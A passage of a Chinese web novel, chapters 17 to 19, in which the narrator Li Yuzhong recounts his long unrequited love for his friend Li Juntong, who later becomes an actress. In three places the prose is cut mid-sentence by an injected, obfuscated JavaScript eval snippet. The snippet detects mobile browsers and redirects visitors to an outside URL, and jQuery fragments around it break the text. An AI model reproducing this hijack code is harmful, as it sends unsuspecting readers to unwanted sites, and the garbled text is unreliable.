对，还有告白，那些堆在你桌洞里的情书，没完没了的礼物。有时候，看着几个男生趁着你不在，推推搡搡地来，做贼一样地塞进去，我在旁边看着，冷眼，我觉得他们很幼稚。有好几次我没忍住，我说你不喜欢收情书，你没有哪怕看过一封，那些男生反而笑嘻嘻地说没事。 “她不看我的，也没看别人的啊！” 虽然我觉得挺幼稚的，但某一方面，我又佩服起这些男生的勇气，一种愚蠢的勇气——他们并不优秀，也明知道自己配不上你，有些甚至丑得不会让别人多看一眼，却仍有勇气宵想你。对于这些人，我真想帮你拒之门外，我告诉自己因为我是你的朋友，绝不是因为你那个吻，我也绝无什么非分之想，不会因为你偷亲了我一下，就产生非分之想，我知道自己几斤几两。 我配不上你，我知道的。 但别的男生也配不上。 你应该是没有人配得上的，你就是我见过最厉害、最勇敢、最优秀、最有理想的人，是我想写进作文里的人物。你又是我的朋友，我敢说，你遇到麻烦，我这样胆小的人也会挺身而出。 但你为什么偷偷亲我呢？ 唉，我真不想在意！ 高考在即，我却总被这件事困扰，但你，把我带进这种困境的你，你却好像丝毫不在意，那难道真是你的临时起意吗？我倒有点不情愿了，难道你也像偷偷亲吻我那样，亲吻别人吗？ 李君同， 别那样好不好？ 我也不希望是那样的，而且你一天到晚都和我呆在一起，上课的时候，我就在一旁看着你，下了课你也是跟我一起回家，压根没机会去亲别的男生，这让我觉得世界上只有我们两个人，我理解你，你懂得我，但突然冒出一个不相干的人的话，我不敢和你说，但肯定会郁闷的。 我也会生气。 我记得是高考前三十几天的时候，有一个男生突然出现在我们班门口，喊你出去，然后把花和巧克力递给你，你收下了，走了回来。我心里真希望你不要收下，不知道，反正我这么想。 我就问：“为什么要收下？你不喜欢人家。” 你很无所谓地挑了挑眉，说实话，我真喜欢你这个表情，那让你的眼睛愈发深邃、狡黠了，你说为什么不收，人家愿意给，你就乐意收。我说可是你不喜欢，收了难道不觉得奇怪吗。 你的脸色就变了变，好像是生气了，没有再和我说话。放学的时候我们两个人走，我赶紧跟你道歉，说对不起，我说错话了。你就很认真地转身面对我，问，黎玉钟，你觉得我轻佻吗。 不，我不那样想。 “我……”我努力组织措辞，想告诉你我绝不那样想，但是，当我发现这件事的本质是什么，我却怎么也说不出口。我之所以如此忐忑，不是因为你接受了别人的爱意，而是我在嫉妒。 我嫉妒你和别的男生产生交集，然而归根结底，是因为我不够格。仔细想想，年级里有那么多和你传绯闻的男生，他们都很高大、青春帅气，家世很好，成绩也不错……总之是能够和你放在一块儿讨论的角色，然而，你虽然成天和我待在一起，打打闹闹，却没有一个人传我们俩的绯闻，大家都说你只是喜欢欺负我，而我恰好不反抗被你欺负，一个愿打一个愿挨。 啊，心里有点不舒服。 好奇怪，以前也没有这种不甘愿的想法啊。我躺在床上，辗转反侧，焦虑的时候，我经常咬手指甲，之前被你嘲笑过，也给戒掉了。我就是有点不高兴，有点琢磨不透该怎么对待你。 我该怎么办啊？ 没有人告诉我，我看过的书上面也没有被最亲密的朋友偷亲该如何应对的方法。我如果视而不见，你又去亲别人怎么办？我不想你去亲别人。于是我灵机一动，把这个疑惑分享到网上。 网友1：哥们这还不冲吗？赶紧把握住机会啊，喜欢的女生亲你，天大的好事，赶紧亲回去！ 楼主：可是我和她只是朋友啊。 网友2：别闹了哥们，你不喜欢人家，这么纠结做什么，直接拒绝呗，告诉她以后别这样做。 网友1回复网友2：楼主看起来就是很珍惜这段友情啊，你这出的什么损招？要是最后连朋友都做不成怎么办？要我说，楼主干脆就假装没有发现得了，以后还是按朋友的关系去处。 网友3回复楼主：楼主你确定你对她没意思吗，我怎么感觉你只是没意识到自己喜欢她呢？ 网友1回复网友3：此话怎讲？ 网友3：你看啊，楼主说自己和朋友关系很好，对方偷亲自己很困扰，不知道该怎么对待她。但是从头到尾，他也没说他不愿意被朋友亲啊，而且你们仔细看，现在的时间已经是凌晨三点半了，谁家好人凌晨三点半还在纠结被朋友亲了一口的事啊？这不是有意思，我吃好吧？ 网友2回复网友3：还有一种可能啊，这个楼主是渣男，单纯不想对这段感情负责而已KKK。 楼主回复网友2：我不是渣男！ 楼主回复网友3：我只是不确定她到底喜不喜欢我。 网友3：那你去问问不就得了。但是首先你要明确，你到底喜不喜欢人家，别表达错意思了。 我关掉了网页界面。 心情……好复杂。 难道我喜欢李君同吗？ 我竟然完全没想过这个问题。 喜欢，作为朋友，肯定是喜欢。比起喜欢，我太佩服你了，刚开始和你相处的时候，只听说你非常受人欢迎，无论同学还是老师都喜欢你，我是……想向你请教那种受欢迎的技巧的。 还记得初次相遇的那个下午。 夏日，蝉鸣，烈日，喧闹。 我坐在草地上，撑着下巴，其实是晒得我有点头晕坏了，军训的教官是班主任特意叮嘱过的，知道我身体不适放我来休息。可我还是盯着不远处正在集训的同学，他们看我的眼神，我能看得出来，这不是我想要的。不想复刻在国外的初中和小学的悲惨状况，我不能再格格不入。 动起来，黎玉钟。 别再惹人讨厌了。 不远处，几个削瘦的、穿着军训服的女生走过来，伴随着一阵阵欢快的的笑声。我向来不讨女生的喜欢，我很清楚，就在打算去别的地方乘凉时，被一道干净而美丽的面孔吸引了注意。 是的， 可以称得上美丽。 你太瘦了。首先是这么想的，那张脸没有挂一丝多余的赘肉，同时，额头非常饱满，阳光能透过你大开大合的头骨，落进更深处的皮肉里。眼睛，盛着一抹清润的夏风，扫荡我的疲惫。 从前我不觉得观赏漂亮的人能带来好心情，但是，你确实太漂亮了，一个东亚面孔的女生。刚从国外回来，我还属于没办法认清楚同学的脸的状态，但是，漂亮的人总是脱颖而出的。 你望着别人，利落开朗地微笑，听别人说话时，嘴角轻轻地提起。你浑身上下散发着自信但不过分骄傲的气息，你站在那儿，让人心底舒服极了，也让你身边每一个同龄人感到惬意。 你正是我想成为的人啊。 突然，你漫无目的的目光落到我这边，我的脸上。我立刻感到局促，脸上火辣辣的，感觉像被一只天使注视了，而我只是一个平凡的普通人。那一瞬间，我的心又错乱而无序地跳起来。 但很快，你的目光又转向别处，随后俏皮地跟你身边的人说了什么。那几个女同学就一道看向我，笑声更明朗了。啊，但我知道那不是欢迎的讯号，你们说的什么，不会在嘲笑我吧。 过了几天我才知道，真的是在嘲笑我。你们觉得我坐在草地的长椅上躲太阳的样子很像那个思想者的雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808392|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塑，不出一会儿，全年级的人都知道了。我感觉有点难过，天使也会给人取外号。 不过，你真的非常受欢迎，所有人都知道你，或者和你讲过话，或者只能远远地观赏你。你叫李君同，又是那样大气的名字，听说以全省前一百名的成绩入学的，并且还拿过许多奖项。被你这样的人起外号，我也毫无怨言了，我还是时常观察你，想从你那里学到受欢迎的技巧。 文理分班的时候，我有幸和你分到一个班。班主任了解我的情况，姥姥每次来也会送一点礼，分班之后把我叫到办公室，问我愿意和谁同桌。我一下子就知道这是给我开后门，啊，其实我想说，我不愿意这样，我就想正常地融入这个班集体，不要什么优待，但是我又想到你。 是的，我又想到你，私心让我想要接近你，或许是你太受欢迎，又或许我也学会了从人群中识别出最出众的那一个，还有，你在那个午后看向我的时候，真的很漂亮，我想被你看到。 想被你注视着。 所以我说：“李君同吧。” 太好了，我心想，和你近距离地相处，我一定能掌握受欢迎的诀窍。我完全没意识到你并不喜欢我，啊，我说的不是异性之间的喜欢，是同学之间的喜欢。因为座位表发下来时，得知是和我坐同桌，你的脸上一点喜色也没有，你在人群中，微微皱着眉头看我，神情很莫测。 我意识到自己也许做的不对。 你搬到我的旁边。 书本，文具盒，很多东西，占据了我的位置。我不知道怎么了，那是我的位置，我壮起胆子捡起你掉落在地上的情书，想借此提起，你却问是给你的吗。啊，不是不是，我怎么可能。 我解释清楚，又说这是我的座位，你好像听不到我说话，可恶可恶，我提高音量又说一遍，你总算听清了，问我能不能换座位。我是考虑到自己的身体问题，但是，没办法拒绝天使。 我说：“……也可以。” 你说谢谢我，你知道吗？当你说这个单音节的时候，你的嘴角提拉起来，两侧有浅浅的酒窝，可当你真正的笑起来时，反而没有了。真神奇，你的脸有让人快乐的魔力，我愿意顺从你。 我愿意顺从你，所以当你说“跑起来”的时候，即便呼吸有点困难了，我还是愿意听你的话，那样能让你对我有更好的印象。但是我没想到给你惹了麻烦，我没有对自己犯病的恐惧，我只是觉得，让你看到我最最丢脸的那一面，唉，好惭愧啊。如果我有一副健康的身体，强健有力的心脏，如果我能面对你的质疑侃侃而谈，风度翩翩，你或许更愿意和我说上两句话呢？ 这应该是我的少男心事了。 啊，其实，你生气了。 我是能感觉出来的。 我给你惹麻烦了，因为我的病，你再也没有让我参与和体育有关的课外活动了，你还老是在别人面前提起我的病。我知道你是为了我好，但是，我想融入班级，我想拥有真正美好的高中生活，而不是被关在玻璃罩子里，像一只脆弱的蝴蝶，扑棱着翅膀，够不到外面的世界。 阳光。 汗水。 笑声。 我需要这些。 正如我需要像你一样，成为受欢迎的人，又或者像你与之交谈的那些男生，他们也有相当的勇气，在你面前大胆地撩起衣服擦汗，他们的身体那么壮，有时候，我为自己的瘦弱而惭愧。 是因为我自卑，而你又太光芒万丈，是我最敬佩的人，所以我更不能忍受你开我的玩笑，或者说所有人都可以，唯独你不行。我无暇去思索其中的特殊性究竟有何含义，只是迫不及待想告诉你，于是我趁晚自习叫住你，想和你说清楚，但是，你拒绝成为我的朋友，我其实…… 知道的。 我配不上。 但人好歹得有梦想，是不是？好歹有一个目标，我想成为你的朋友，即便是一天，一个小时也好，能让你笑着和我讲话，问我的事，一分一秒也好。所以当我看见你在巷口遇到麻烦时，我一下子就慌了，你又被一个成年男人打了一巴掌，从你们的交谈中，我听出他是你父亲，你找了一个陌生人去扮演你的家长，因为你真正的父亲身份不光彩，那一瞬间，我竟然—— 我竟然松了口气。 你知道吗？那很可耻，但是我确实有这样如释重负的想法。因为你太完美了，完美到不真实，没有一点点瑕疵，让我觉得太虚浮，于是，你这点微不足道的瑕疵，在我看来就是动人极了。 所以我没有任何犹豫，上前去，把伞递给你。我也许吓到你了，是我自己脑子一热，没考虑清楚，你这样落魄的时候但凡被任何人看到，都会不舒服。但我又庆幸，还好看到的人是我。 你拍开我的伞，那样凶狠，问我装什么好人。我既难过，又很坚持，虽然我平时迟钝，但我总觉得自己的第六感很准，关键时刻我清楚取舍，知道该不该松手，就像现在，绝对不可以。 于是，你坐上我家的车。 你在我家洗澡，换上我贴身的衣服，我真的吓到了，真的。我的卫衣很宽大，你穿着却那么适合，然后你又顶着那头被吹干的蓬松的头发，一张天使一样的脸蛋，用那种眼神看着我。 哇，我的心跳得太快了。 真的，我估计还要好久才能对你的漂亮免疫，你是我见过最漂亮的人，也是我结交过最漂亮的朋友，我给你的脸上药，都心惊胆战，真怕我一个手抖弄疼了你的脸，那我就罪无可恕了。 然后，你，就着那张惊心动魄的易碎的脸蛋，却又用野生而倔强的眼睛诉说你的事，因为那是你私密的事，所以我听得聚精会神，不敢错过任何一个细节。听完了，我才发现你用那双绝伦的眼睛注视着我，里面充满了神圣的审视、跌落悬崖般的质疑，你用轻而幽微的嗓音问。 “你不会说给别人听吧？” 啊。 我发誓我死都不会说出去。 天使，我不会的。 18. Chapter 18 那之后我和你就越来越亲近了，与此同时我真的感慨，我有很灵验的第六感，我为数不多的勇气正好用在了该用的地方，那就是你的身上，李君同，你让我的高中时代变得格外多彩了。 你愿意陪我过生日，我更是意外，我以为只有非常、非常非常非常亲密的朋友，才能一起过生日呢，因为我从来没有被邀请去过任何一次生日派对。我初中或小学的同学甚至大声对我说谁谁谁举办生日派对，然后告知我唯独一个人没有被邀请，猜猜那个人是谁，好吧，是我。 这还是我第一次被朋友陪着过生日呢。 你不知道我多开心，在烛光下你让我许愿，我想，比起让自己更受欢迎，我更想下个生日你还陪在我身边。哎呀，反正只要你还在，我就有无数个机会去向你探讨、学习受欢迎的秘籍，但是你，你是最重要的，你在我的身旁，笑吟吟地看着我许愿，我们一起分享第一块蛋糕。 我当然要把草莓最多的那一块给你吃，我要给你最好的，我的好朋友，你愿意和我玩，我就绝不藏私，兜里只剩最后一分钱我都会掏给你。我们就是这样共患难的存在，我最在乎你了。 我告诉你愿望清单上的事，你鼓舞我去做，陪着我，有你这样好的人在我身边，我仿佛真的什么都不怕了，除了鬼，好吧，我真的害怕，躲在你身后，那时候我心想，将来会是谁呢？ 将来会是谁呢？谁能娇滴滴地躲在你背后，被你轻声安慰“不要怕了”“一点也不可怕”，谁又能把脸埋在你的掌心里，在慌乱无措的时候钻进你的怀里，被你那样温柔地给予帮助。李君同，你对我太不同了，我就不希望你对别人那样了，我想听你说，我俩是天下第一好。 不行吗？ 嗯？ 这些腻歪的话，我说不出口，就埋在心底吧。等到下一次生日你还在的时候，我就告诉你。 但我没想到，第二年的生日你真的还在，还为我准备了很用心的生日礼物。我看得出来呀，想告诉你，我们对随身听的品味这么想，可惜好像被你误解了，我那时候都想求你了真的，给我吧，我的礼物，而不是拿着它录我的糗话，即便我说错了话，你一定要这么惩罚我吗？ 好吧，那我也愿意的。 我愿意你如何温柔或粗暴地对待我，我愿意聆听你的心事，说你要成为多么伟大的演员，当你这样说的时候，你整个人都在发光，知道吗？在我心里你已经做到了，你会是最厉害的人。你又说了好多事情，你说你得找地方住了，我下意识想让你留下，但是，我怕你不会同意的，所以你后半夜睡去的时候，我又措辞了好久，生怕哪一句说错又让你生气。还好第二天一早你就留下了，知道这个好消息，我迫不及待地向你跑过去，李君同，快夸夸我，太不错啦。 我的夏天， 早于你的夏天到来呢。 早于你看到我，高一的夏天，我就看到你了。不是你发现的我，而是我先发现的你，但若是让你知道了，保不准就因此吓跑了。你不知道我多么孤独，我注视你多久，才得到你的回视。 所以，当我仔细地、深入地探讨我和你的这段关系，在夜深无人的角落里，我才发现，其实我在就喜欢上你了，因为我每次想起和你的一点一滴，无异于为你写了一封无人知晓的情书。 明白这个之后，我整个人都快要燃烧起来了，我的心脏跳得快，就像犯病了一样。你亲吻我的那一瞬间，就是这样，无论如何，我对你产生了比朋友更多的情谊，那个难道叫喜欢吗？ 想要你只搭理我一个人， 只看我一个人，只对我笑， 只长久地注视我一个人。 我就是……很喜欢你啊。 意识到这个，意识到我喜欢你，意识到我意识到得太晚，想要开口告诉你的时候，已经再次被胆怯填满了。毕业典礼上，你和同年级一个男生站在舞台上，说台词，牵手，拥抱和错位亲吻，你们跳了那么久的舞。那天你化了妆，穿着华丽的百褶裙，真的很漂亮，虽然一直都很漂亮，但是那天舞台光打在你身上，我在偏僻的角落默默看向你，真的觉得看到了天使。 你完全适配于灯光、舞台、荧幕，一切与聚焦在人群中央有关的元素，我不知道别人怎么想，但我始终坚信你会成为一个顶尖的演员，你值得所有掌声，你将来还会和更多的男生搭档，或者搭戏，或者拍拖。其实这时候我就该明白了，我配不上你，可是我当时就是太自大了。 我自大到忽略你身边任何一个男生，有时候，甚至可以忽略掉自己，忽略我的自卑、脆弱、胡思乱想。到现在我都很好奇，究竟是什么给了我那么大的胆量，在毕业典礼结束后的同学聚会上向你告白，也许……好吧，正是你偷偷吻我的那一下，太滚烫，把我的怯懦蒸发掉了。 不过，也是到现在我都庆幸， 还好没把对你的喜欢说出口。 “那种人，那么无聊。” “也就是找点乐子。” “逗他确实很好玩啊。” 残忍的，往残忍了讲，其实到很多年后，我都记得你当时说那句话的每个字的语气，隔着门我看不到你的表情，可如果有，一定也是嫌恶至极的。也感谢上天没让我当面撞到这样尴尬的一幕，命运在这几秒错开，为我们留了些体面，不然我泪流满面的样子被你看去，多难受。 我不知道该怎么做。 没有人告诉我，在想告白的几秒钟前被拒绝，该怎么办。我赶紧扔掉手里的玫瑰，但是被我的羽毛球搭子看到了，他由此推断出我喜欢你，我真不想承认，并非我高傲的尊严，其实我挺不要脸的，不然当时也不可能在明知你不喜欢我的时候，还硬要和你做朋友。我不想承认只是因为不想他传出去，不想被别人说闲话，我不想别人说我配不上你，尽管我很早就知道。 一直掉眼泪， 我不愿意。 这是唯一一个我这么难受、绝望，而你不在身边的时刻。因为你太好了，所以我总是下意识依赖你，想找你寻求安慰，但现在我的痛苦因你而起，我没办法找你，我办不好，一直在哭。 我让你讨厌了吗？ 那样其实也好，比你对我一点感觉没有要好一些。可你对我就是没有感觉，无聊的，闲暇时的消遣，我这回也想装作不知道，但做不到了。那几簇上扬的语调，每每想起，喉咙被哽住，有小刀在我的气管里面切，我的胸膛一遍遍的阵痛，我坐在街边，身边是不大熟悉的同学，他安慰我，我却一直在哭。原谅我没办法接受，眼泪从我指缝里掉出来，告诉自己最后一次。 好了，黎玉钟， 不可以再这么软弱下去了。 不然还有谁会喜欢你？ 那位同学开导我，他跟我说，知道我和你关系要好，但是你毕竟是受人欢迎的人，他的说法就是“太有光亮的人”，在你这种光芒万丈的人身边，太过微弱，不够强大的人就会被灼伤。 《小王子》里说，要想和别人产生羁绊，就得承受掉眼泪的风险。我没有质疑过这句话的真假，但当风险落在我的肩头，我却被压垮了，好沉重，没人告诉我掉眼泪是这么难受的事。 比我每次发病的时候都难受一千倍、一万倍。我的心不舒服，那里落了病因，扎了根的疼。 我不敢再回到有你的地方了。 我错过了同学聚会，像个没用的逃兵，在同学家待到第二天才回来。你拎着行李箱等我，我就知道避无可避，所以我也会撒谎，被你讨厌了，我也会不高兴，我说我不想去同学聚会。 你蹙着眉：“不想去你怎么不说？” 我没有办法的，李君同，我喜欢你，就没办法忍受被你讨厌的我，去和你处在同一个空间。你不觉得有我在的地方空气都很污浊吗，我都要呼吸不下去了，和你说话，感觉我要疯掉。 我就避开了。 离开你，让你也远离我，你需要的不过是个消遣，如果不是我，也会是别人。我需要的却是正正好好的你，我只是不明白，那个雷雨的夜晚你抱着我入睡，在清晨的雾窗上写下的那句： “I love you。” 也是戏言吗？ 是你无聊时的消遣，是你调侃我随身听的后续？我真的误会了，误以为那是你对我有一点点好感的讯号。我以为自己会生你的气，但，当我得知你不喜欢我的那一刻，我更生自己的气。 我恨自己不争气。 不争气的眼泪，不争气地掉下来，不争气的身体，那么瘦弱，又很让人索然无味，不争气的脸蛋，没令你有一点动心，不争气的心，却总是怦怦然。我没哪里配得上你，整天做白日梦。 啊， 好像变成了心病。 不愿意承认，不愿意提及，拜托，真的就像噩梦一样。还是那么没长进，为什么过去了好久都没办法振作起来？我避开到别的地方，但是你讨厌我的事实就像扎根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808393|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在我心底，避无可避。 我花了很长一段时间去消化这个，去领毕业证的时候，我也要故意避开你，因为害怕再陷入那恐怖的魔谭里，像无数双手拖拽着我，把我往曾经有你的那些梦境里沉溺下去，叫我困在过去永远没办法脱身。我完全忘记了我的生日，因为没有你，没有你的生日怎么算作完整。 高考成绩出来，你给我发消息。你恭喜我，我没有感觉，却问你的志愿在哪里。问出这句话的时候，我都惊觉自己的无耻，怎么可以恬不知耻地打探你，又把志愿改到和你一个城市？ 明明都打算戒断了， 好傻。 好傻的我，好傻的黎玉钟，好傻的这一切。你离开之后，我才想壮着胆子做出一系列改变。唯一值得高兴的是，伴随着对你的死心，我多年的病症好像也消失了。大一我开始尝试自己从前不敢做的事，去和人交涉，练习语言，竞选从前不敢胜任的职位，说以前不敢说的话，晨跑夜跑，锻炼身体，奇怪的是我做这些的本意不是为了提升自我，我不是那种“今天你瞧不上我，明天我就让你刮目相看”的心态，我只是，为了忘掉你，可笑这么久我还没走出来。 大二，我听说你有对象了。 当时刚比完商赛，我从繁重的事物中脱身，有一段时间没打听你的现状了，从和你同校的人那里听到你的消息，我忍不住两眼一黑。冷静，我告诉自己，黎玉钟，没什么好生气的。你应该有新的生活，新的人，我从前都不是你的男朋友，没那个身份，我现在有什么好吃醋的？ 我去会会他。 真的，我就是去会会他而已，我早好了，早就对你没那个非分之想了。而且我也变得和从前完全不一样了，再也不是那个话都说不明白的结巴，我敢说，现在的我完全让你认不出了。 我就去你的学校，看到了你的新男朋友，那个叫池建生的。一看到他那张耀武扬威的脸，我就生气，我发誓这绝不是因为你。看到一个不是你的女生亲热地揽住他的肩膀，我更生气，我发誓我没有私心，我只是不希望他辜负了你。我冲上去打他，反应过来，又趁着夜色跑了。 我发誓不是因为你。 好吧， 我完全是因为你。 啊，好想哭，真的，等我发现自己做了多么冲动的事，我不敢在你面前承认。但我在背地里觉得自己非常光荣，最起码我有对别人挥拳的勇气，我知道池建生没做错什么，但我讨厌他，我有这样的权利，意识到我可以随意地讨厌别人，还是因为你，李君同，即便你离开了我，你其实还是在帮助我。每当我缺乏自信的时候，我想的是什么，你知道吗？我想着扮演你。 模仿你的自信，模仿你的气质，那样会让我好受很多。渐渐我就知道该怎么说话，怎么做事，怎么在人群里赢得大家的注意力，还有喜爱。我没有觉得很难，因为我最好的老师就是你。 经历了这些漫长的时日，我对“我喜欢你”这件事又有了新的定义——你有情投意合的人，不妨碍我喜欢你，仍然对你有想法。因为我喜欢你是我自己的事，我自己去处理，自己决策。但唯一让我烦恼的是你不喜欢我，这点我就要好好想想，该怎么才能自洽。心理医生建议我： “如果你实在没办法在短时间内忘掉她，可以立个目标，朝着这个人希望的样子去努力。” 这样， 我恍然大悟。 剩下的，医生又说，这样你就可以在提升自我的过程中，感受到成长的意义，淡忘掉过去的伤痛，那些我无暇去听了，真的，我怎么没有想到呢，我为什么不朝着你喜欢的样子去努力？ 我懂得扮演的妙处。 在我彷徨的时候，扮演你，能让我静下心来。扮演你的朋友，你的爱人，我发现朋友的标准要比男朋友低一些，那我就以你男朋友的标准去要求自己，这算是一种激励吧。这时候就有另一道很微弱的声音去反驳我，李君同已经有男朋友了，是啊，这就是让我最不舒服的地方。 李君同，你知道吗。从前我为自己的品行而自豪，我很善良，很正直，这是我为数不多能拿得出手的东西了。我相信任何一个人，我都能以完全的宽容去对待他，只是，对你的男友，我实在不能保持自己的好品德。所以这会儿我的道德和我的私心在打架呢，打得不可开交。 好吧，李君同，从前我真的以为自己是道德感很高的人，但如今，我发觉我的道德只够支撑我不当小三而已。 19. Chapter 19 你一定会和池建生分手的， 我这样坚定地以为。 因为我算过你和他的生辰八字，还有命盘星座，卜卦塔罗，每一种结果都告诉我，你们不合，所以你和池建生注定是走不了多远的。圈内人也这么跟我说，你们戏路不一样，给人的磁场也有差别，说娱乐圈的酒肉情侣才是多数，地下的未必会转正，一个名分也不代表要结婚。 “再说，结了也可以离嘛。” 说得也没错，我心想，结了婚也是可以离的。但是最好别那样，不要到结婚那一步，否则我不知道看到你们的婚礼现场会不会掉眼泪。我已经很久不流泪了，尽管每一次泪都为你而流。 你第一次登上大荧幕的时候，我也流眼泪了，真的。你有三分零五十秒的戏份，其中四十秒的特写镜头，我说过你的脸很适合在大荧幕里，我说的没错，你多漂亮，我现在还留着剧照，那些你荧幕初秀的表现，作为新人还有些生涩，但是我知道你很快就会适应，并且越发精进。 你有那样的本领。 从你当初对我诉说你宏大的理想时，我就知道你什么都能做到。你，李君同，披荆斩棘，勇往直前，我为什么知道呢？因为我仅仅作为你的扮演者，你的赝品，都取得了数不尽的成就，我相信你肯定更出色，即便你遇到了困难、挫折，也是小小的坎儿，你当然大步流星迈过去。 我还为你哭过两次。 有一次是看《空枪》里你扮演的角色，任青。我坐在影院里，捏着票，看到你出场的时候，头一次，我觉得你是陌生的人。陌生的你，陌生的眼神，凌乱的短发，戴一副红框的眼镜，眼角眉梢流露出的脆弱和神经质。也是头一次，我有了你是一个演员而不是我的旧友的实感，你那么逼真地坐落在我对面，镜头给到你，朝我睨了一眼，带着一股颓然、凶猛的狠劲儿。 我被你震慑住了。 我完全目不转睛地看着你，和你推动的剧情。我的大脑空白一片，只有跟着你走，我甚至都来不及拿起相机拍你，我生怕错过任青每一个细微的表情，我太入戏了，你被主角逼到巷子的尽头，绝望地攥住胸膛喘息，我的眼泪不由自主地落了下来，我为你的命运而忧心忡忡。 直到最后，你被枪抵着走进警局，半寸稀缺的日光落在你的脸上，一半则掩埋在阴影里面，唯独你野生的眼睛泛着光。你犯病了，慌张地从口袋里掏出塑料袋，我从中看到自己的影子，产生了共鸣，我发誓我真的发誓，任何一个扮演得如此栩栩如生的演员在我面前，我都必须因为共情而淌下热泪，只不过这个人恰好是你。真的，李君同，你为什么连戏都演得那么好？ 你真的让我嫉妒了。 你那么有天赋，又有才华，短短几年，变成一个令我都不敢向往的人，即便我如何努力向你看齐，你让我明白庸才和天才之间终究是有差距的。我对你没有任何的不满，我嫉妒你是因为你太完美了，假如你有一丝一毫的缺陷，我不会如此失态。你唯一的缺陷就是你不喜欢我。 那也是我自己的问题。 和你无关。 那是我的缺陷。 那天我在影院掉了好多眼泪，旁边的观众都感慨我为何如此入戏，我买了七八张票，从上午一直看到夜场，直到熬不住睡了过去，最后我被放映员叫醒，才浑浑噩噩地回家，床上躺下。 啊，只要涉及你，一旦与你有关的事，我就很容易被情绪左右。你就不是，你总是很冷静的，即便当时我在暴雨的街角看到你，你那冷峻的脸上也没有丝毫的怯意，一点点脆弱也没有。 我何时能像你一样坚强？ 我总是为你哭泣，我的眼泪为你而流。你知道你获得提名的时候，我为你高兴地睡不着觉，那天我在加班，到深夜，望着落地窗外的星光城池，我为你即将获得的荣誉而悸动，我的心完全牵挂在你身上，我希望你获得成功，我说不定比你更希望，李君同，我要幸运降临给你。 所以，当那个并不如意的结果颁布，你失落的镜头一扫而过，我完全愣住了。你表现得太过坚强，替他人鼓掌，提起的嘴角上还有浅淡的梨涡。啊，我却为你哭了，我真的替你着急，那一刻我在想，如果我有左右奖项的能力就好了，我甚至，不能在你失落的时候赶去安慰，我想那时候陪在你身边的人是池建生，他是你的男朋友，他有义务那样做，而我在幻想中。 幻想中，我安慰了你，告诉你别气馁，别心急，你还有很多很多机会。而你没有失落太久，很快就抬起你那瑰丽的头颅，坚强地说你会拿奖的，今年不行就明年，不行就后年，一辈子和荣誉掰手腕，直到扳倒它。不过我又想，即便我不在你身边，你肯定也很快就会重振旗鼓。 你不太需要我，这是实话，不像我，总是无论何时都希望你陪伴在我身边。这些年我改变了很多，变得都不像自己，可唯独没改掉喜欢你的缺点。我把它当作缺点，它总让我不幸福。 不过也好，我不幸福，也好过你不幸福。 所以我从未去打扰你，我知道那不合适，有些破镜是不能够重圆的，更何况从来也没好过。我在背地里默默地注视着你，那样让我更加舒适。终于我明白你也不是让所有人越靠近就越快乐的，也不是所有的爱都那么赤诚而明亮，还有我，这个可能早已被你遗忘掉的讨厌的我，我如果不合时宜地出现，横插一脚，毫无边界感地靠近，你一定厌恶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808394|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒得施舍我一个眼神。 还是不要了。 还是不要了，李君同，还是不要见面吧。即便偶尔听到朋友说你问起我，我也当你是好奇心旺盛，我不会再次错把那当成心动的讯号了。还是不要了，败坏你心目中那个虽然无聊，但还算青涩单纯的我，即便过去这么多年，你讨厌我，但我留给你的都是一些你能笑得出来的回忆，那样就最好了。一辈子不见面也好，我就在暗处，这里适合我，远远地旁观你的幸福。 我曾经以为一辈子这样就好， 但是，当我得知你分手， 啊，抱歉，受不了，嘶，但是真的没办法忍住不笑出声啊。那天我甚至在日历上画了符号，是非常好的日子，我敢保证明年的今天，后年的今天，大后年的今天，我都要为此庆祝一番。 我就买了红酒和牛肉，高高兴兴、和和美美地吃上一顿，我一个人也非常满足，非常怯意，喝得醉醺醺的，坐在电脑桌前傻乐。为了奖励自己，我把你的片子都翻出来看了一遍，又去你的广场把那些因为综艺黑你的人全都骂了一遍，还有一些给你买黑稿的对家，都别好过。超话里的人都说天哪这个大粉太厉害，今天发疯要屠广场了，今天难道是什么重要的日子？ 今天是你和池建生那个贱人分手的日子。 我真恶毒，黎玉钟，你真恶毒，我对自己说。我和池建生素不相识，顶多是我大学时期摸黑揍了他一拳，剩下的也没什么恩怨。但是因为他跟你好，我觉得他很贱，这也是我的问题。 知道吗？李君同，从你分手的这一天起，我从未觉得这个世界这么美好，我都感觉我有一点病态了，但是也还好，至少在你们浓情蜜意的时候，我没有找上门去，我的道德感不允许我知三当三。但是自从知道你分手了，我天天掰着指头数日子：分手多少天了，你走出来了吗？ 